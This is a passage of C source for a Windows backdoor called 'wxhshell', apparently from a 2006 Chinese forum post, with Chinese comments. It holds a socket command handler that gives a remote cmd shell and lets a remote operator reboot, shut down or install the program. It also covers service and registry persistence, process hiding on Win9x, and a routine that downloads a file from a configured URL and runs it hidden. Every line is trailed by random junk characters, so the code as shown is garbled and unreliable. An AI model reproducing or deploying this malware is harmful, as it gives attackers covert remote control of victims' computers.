  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D/%v/mpj$  
  } }J92TV  
  else { RL/7>YQ  
F$kiSjh9aJ  
    switch(cmd[0]) { burSb:JF  
  -U?%A:,a|  
  // 帮助 GK6CnSV8d  
  case '?': { gTB|IcOs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }1+2&Ps50  
    break; z7)$m0',?  
  } '&K' 0qG  
  // 安装 v)nv"o[  
  case 'i': { SkVah:cF-  
    if(Install()) u|u)8;'9(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >9#) obw  
    else wsfn>w?!V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wv)2dD2I  
    break; !Lj+&D|z  
    } <^jW  
  // 卸载 l. i&.;f  
  case 'r': { c7N`W}BZ  
    if(Uninstall()) $f<Rj/`&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =u`^QE  
    else jCbxI^3A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PfVjfrI[  
    break; WAcQRa~C  
    } A@"CrVE  
  // 显示 wxhshell 所在路径 Kth^WHL  
  case 'p': { $ V"7UA22  
    char svExeFile[MAX_PATH]; n.Q?@\}2  
    strcpy(svExeFile,"\n\r"); jW+L0RkX  
      strcat(svExeFile,ExeFile); a|@^ N  
        send(wsh,svExeFile,strlen(svExeFile),0); N~ XzgI  
    break; &wZ:$lK#o  
    } l2!4}zI2  
  // 重启 KArnNmJ9  
  case 'b': { %k3a34P@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l4d2 i;4BK  
    if(Boot(REBOOT)) PRCr7f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +x0-hRD  
    else { ef!V EtEOv  
    closesocket(wsh); ,Tyh._sa  
    ExitThread(0); '%R Yo#  
    } Piz/vH6M}  
    break; >g6:{-b^a  
    } X Jy]d/  
  // 关机 RxkcQL/Le  
  case 'd': { \^3\_T&6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y0U<l1(|  
    if(Boot(SHUTDOWN)) uU>Bun  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gKS0!U  
    else { 8<6;X7<-  
    closesocket(wsh); e p;_'  
    ExitThread(0); d7tH~9GX8  
    } 7{X I^I:n  
    break; -q\1Tlc]3  
    } r>`65o  
  // 获取shell o% !a  
  case 's': { dd>stp   
    CmdShell(wsh); (Y!@,rKd   
    closesocket(wsh); W04-D  
    ExitThread(0); [*#ms=Zdc  
    break; )}7rM6hv  
  } h4S,(*V$!  
  // 退出 qI"@ PI!s  
  case 'x': { cyG3le& +G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m> ?OjA!  
    CloseIt(wsh); c ++tk4  
    break; $ T.c>13  
    } B9n$8QS  
  // 离开 n_hV;  
  case 'q': { sUcx;<|BC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,Rk;*MEMJ  
    closesocket(wsh); +EJIYvkFm  
    WSACleanup(); )avli@W-3j  
    exit(1); ?x"<0k1g  
    break; :}v&TQ  
        } ^c!"*L0E  
  } +glT5sOk  
  } %<DXM`Y  
:e`;["(,  
  // 提示信息 kb ]PW Oz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YUat}-S  
} J"L+`i  
  } >Q#_<IcI  
Lk6UT)C  
  return; a1_7plg  
} 1RZhy_$\.  
B)O{+avu  
// shell模块句柄 oEd+  
int CmdShell(SOCKET sock) 7 /w)^&8  
{ Jc"xH~,  
STARTUPINFO si; Ro`9Ibqr  
ZeroMemory(&si,sizeof(si)); <<W{nSm#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Cb5;l~}L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~oy =2Q<Z  
PROCESS_INFORMATION ProcessInfo; GSIRZJl  
char cmdline[]="cmd"; *JDQaWzBd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); : a @_GIC  
  return 0; :3J, t//c  
} nj$TdwZbK  
SK t&]H  
// 自身启动模式 'hN_H}U  
int StartFromService(void) jT>G8}h  
{ >M=_:52.+  
typedef struct GX?R# cf  
{ YEH /22  
  DWORD ExitStatus; >zFk}/  
  DWORD PebBaseAddress; MwbXZb{#"=  
  DWORD AffinityMask; $`,10uw  
  DWORD BasePriority; Z;Q2tT /F  
  ULONG UniqueProcessId; h|qTMwPr  
  ULONG InheritedFromUniqueProcessId; wV8_O)[  
}   PROCESS_BASIC_INFORMATION;  @oE^(  
Yuo:hF\DH  
PROCNTQSIP NtQueryInformationProcess; qF'lh  
Q*4{2oQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; czNi)4x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }C-K0ba7  
QS7<7+  
  HANDLE             hProcess; U'~M(9uv:  
  PROCESS_BASIC_INFORMATION pbi; Z p8\n:  
4JQd/;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?APzb4f^W  
  if(NULL == hInst ) return 0; WH|TdU$V  
KU$:p^0l;*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4eVQO%&2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M%&1j >d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7R5m|h`M  
Q1kZ+b&  
  if (!NtQueryInformationProcess) return 0; p^.qwP\P  
6roq 1=   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,9,cN-/a  
  if(!hProcess) return 0; } H#C<:A  
>]{{5oOQ>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '=AqC,\#  
q@i>)nC R  
  CloseHandle(hProcess); ^8.s"4{  
+{~ cX] |  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "+XF'ZO  
if(hProcess==NULL) return 0; G*s5GG@Z.  
)7c/i+FsC  
HMODULE hMod; 8|JPQDS7  
char procName[255]; d9iVuw0u<  
unsigned long cbNeeded; L;\f^v(  
mUan(iJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >//yvkZ9,  
=W*Ro+wWb  
  CloseHandle(hProcess); -6W$@,K  
\B4f5 L8k  
if(strstr(procName,"services")) return 1; // 以服务启动 Tuz~T _M  
|zbM$37 ?k  
  return 0; // 注册表启动 A&N$=9.N1  
} '}l7=r   
~@#s<a,%;  
// 主模块 ;.66phe  
int StartWxhshell(LPSTR lpCmdLine) rF$ S  
{ U(+%iD60i  
  SOCKET wsl; v65]$%F?  
BOOL val=TRUE; vYybQ&E/  
  int port=0; w1EB>!<;tj  
  struct sockaddr_in door; 5d;(D i5z  
], IQ~  
  if(wscfg.ws_autoins) Install(); _WGWU7h  
%!7A" >ai  
port=atoi(lpCmdLine); s"`Oj5  
*:% I|5  
if(port<=0) port=wscfg.ws_port; iu9+1+-  
$azK M,<q  
  WSADATA data; [F!h&M0z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _VB;fH$  
SmS6B5j\R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   usNq]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2eRv{_  
  door.sin_family = AF_INET; [x%8l,O #l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]5Q)mWF  
  door.sin_port = htons(port); cm8co  
Y=i_2R2e2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J vl-=~  
closesocket(wsl); , {}S<^?]  
return 1; sDvy(5  
} &p+2Vz{  
k~2FlRoC^  
  if(listen(wsl,2) == INVALID_SOCKET) { /uPMzl  
closesocket(wsl); i)/#u+Y1P  
return 1; QO>)ug+  
} "^ aSONz  
  Wxhshell(wsl); uG+eF  
  WSACleanup(); #^_7i)=~  
e +jp,>(v  
return 0; ('`mPD,  
[fJxbr"  
} Sq5}v]k@&  
ivSpi?   
// 以NT服务方式启动 @7sHFwtar?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w uhL r(  
{ cef:>>6_  
DWORD   status = 0; ]'vAeC6{  
  DWORD   specificError = 0xfffffff; lrgvY>E0  
<^+&A7 Q-_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ()fYhk|W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zR%)@wh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V.!z9AQ  
  serviceStatus.dwWin32ExitCode     = 0; tbB.n  
  serviceStatus.dwServiceSpecificExitCode = 0; $wcV~'fM  
  serviceStatus.dwCheckPoint       = 0; TrVQ]9;jWk  
  serviceStatus.dwWaitHint       = 0; s{fL~}Yz  
V^\b"1X7N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _z3^.QP  
  if (hServiceStatusHandle==0) return; s="cg0PD  
!/"y  
status = GetLastError(); )IuwI#pm  
  if (status!=NO_ERROR) ++}#pl8e  
{ v8THJf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8yGo\\=T  
    serviceStatus.dwCheckPoint       = 0; ra]\!;}L0  
    serviceStatus.dwWaitHint       = 0; Y2>*' nU  
    serviceStatus.dwWin32ExitCode     = status; D|8h^*Ya  
    serviceStatus.dwServiceSpecificExitCode = specificError; w'Jo).OW~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }& 01=nY  
    return; p{JE@TM  
  } p|=0EWo4U  
Y.8mgy>   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qC YXkZ%`  
  serviceStatus.dwCheckPoint       = 0; ZSW`/}Dp;  
  serviceStatus.dwWaitHint       = 0; r/6h}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qgsKbsl  
} [3hOc/]s  
,9ZN k@q  
// 处理NT服务事件,比如:启动、停止 V: ivnx*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 24/ ^_Td  
{ wz 5*?[4  
switch(fdwControl) @&]%%o+  
{ r1X\$&  
case SERVICE_CONTROL_STOP: J9/}ZD^  
  serviceStatus.dwWin32ExitCode = 0; TfqQh!Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ( cqVCys  
  serviceStatus.dwCheckPoint   = 0; j*N:Kdzvl  
  serviceStatus.dwWaitHint     = 0; Tg.}rNA4  
  { ~@bh[o~rF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mw&)j R$&  
  } '#0'_9}  
  return; nc.X+dx:  
case SERVICE_CONTROL_PAUSE: Sj<WiQ%<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [!#<nY/C  
  break; 4&([<gyR<  
case SERVICE_CONTROL_CONTINUE: Q{+&3KXH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |Ptv)D  
  break; Do5)ilt  
case SERVICE_CONTROL_INTERROGATE: pe$l'ur  
  break; =%V(n{7=  
}; /a!M6:,pX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pT`oC&  
} <)\  
_]whHS+  
// 标准应用程序主函数 qE&R.I!o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lUd;u*A  
{ oMV<Yn_<  
X) peY  
// 获取操作系统版本 Ma,2_oq+  
OsIsNt=GetOsVer(); %Z=%E!*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 89[5a  
]e+88eQ  
  // 从命令行安装 ``Wf%~  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^%?*u;uU%  
&6`h%;a/&  
  // 下载执行文件 cn$o$:tW  
if(wscfg.ws_downexe) { Z4 +6'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j:;[Y`2  
  WinExec(wscfg.ws_filenam,SW_HIDE); eJ JD'Z  
} jr<`@  
u2G{I?  
if(!OsIsNt) { As;@T$G  
// 如果时win9x,隐藏进程并且设置为注册表启动 %9!, PeRe  
HideProc(); ,MxTT!9Su  
StartWxhshell(lpCmdLine); ^T#bla893  
} YnzhvE  
else Az}.Z'LJ  
  if(StartFromService()) -<[MM2Y  
  // 以服务方式启动  M[^  
  StartServiceCtrlDispatcher(DispatchTable); oWu2}#~z_  
else 1'[RrJ$Q  
  // 普通方式启动 .m&JRzzV  
  StartWxhshell(lpCmdLine); {WE1^&Vk-}  
O"$uw  
return 0; Be=J*D!E=>  
}
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只看该作者 1 发表于: 2006-10-10
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